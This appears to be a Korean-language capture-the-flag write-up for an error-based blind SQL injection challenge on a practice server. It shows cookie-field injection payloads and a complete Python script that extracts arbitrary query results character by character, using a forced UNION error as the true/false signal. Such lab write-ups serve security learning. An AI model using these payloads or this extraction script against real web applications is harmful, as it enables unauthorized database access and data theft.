로그인하고 마이페이지. cookie user를 먼저 건드려보자
▼xcvb' 입력
DB에러를 출력한다.
▼xcvb' and (1=1) and '1'='1 입력
▼xcvb' and (1=1) and '1'='2 입력
참/거짓 판별은 안되고 DB에러만 구분할 수 있다.
조건이 참이면 에러를, 거짓이면 정상출력되게하자.
먼저 에러를 유발하는 방법중 하나는 select 1 union select 2 이다.
▼xcvb' and (select 1 union select 2) and '1'='1 입력
import requests
url = "http://ctf.segfaulthub.com:7777/sqli_9/mypage.php"
success_message = 'DB Error'
def send_request(sql_query):
cookie = {
'user' : sql_query,
'PHPSESSID':'o8on7ohnrki56msd1apvbn0pgm'
}
response = requests.post(url, cookies=cookie)
return success_message in response.text
'''
sql_query = input("sql을 입력하세요: ")
if send_request(sql_query):
print("True")
else:
print("False")
'''
def Blind_SQLi(sql):
extract_info = ''
for i in range(1,101): #최대 100글자 까지 추출
for j in range(32,127): #ascii 문자 범위
payload = f" xcvb' and (select 1 union select 2 where (ascii(substr(({sql}),{i},1))={j})) and '1'='1 "
if send_request(payload):
extract_info += chr(j)
break
else:
break # 더 이상 글자가 없으면 종료
return extract_info
sql_query = input("SQL 쿼리를 입력하세요: ")
extracted_data = Blind_SQLi(sql_query)
print(f"Extracted Data: {extracted_data}")
조건이 참이면 DB Error 메세지가 뜨므로
response.text에 DB Error가 포함되면 True.
xcvb' and (select 1 union select 2 where (ascii(substr(({sql}),{i},1))={j})) and '1'='1
where로 조건이 참이면 select 1 union select 2 가 실행되면서 DB Error가 발생한다.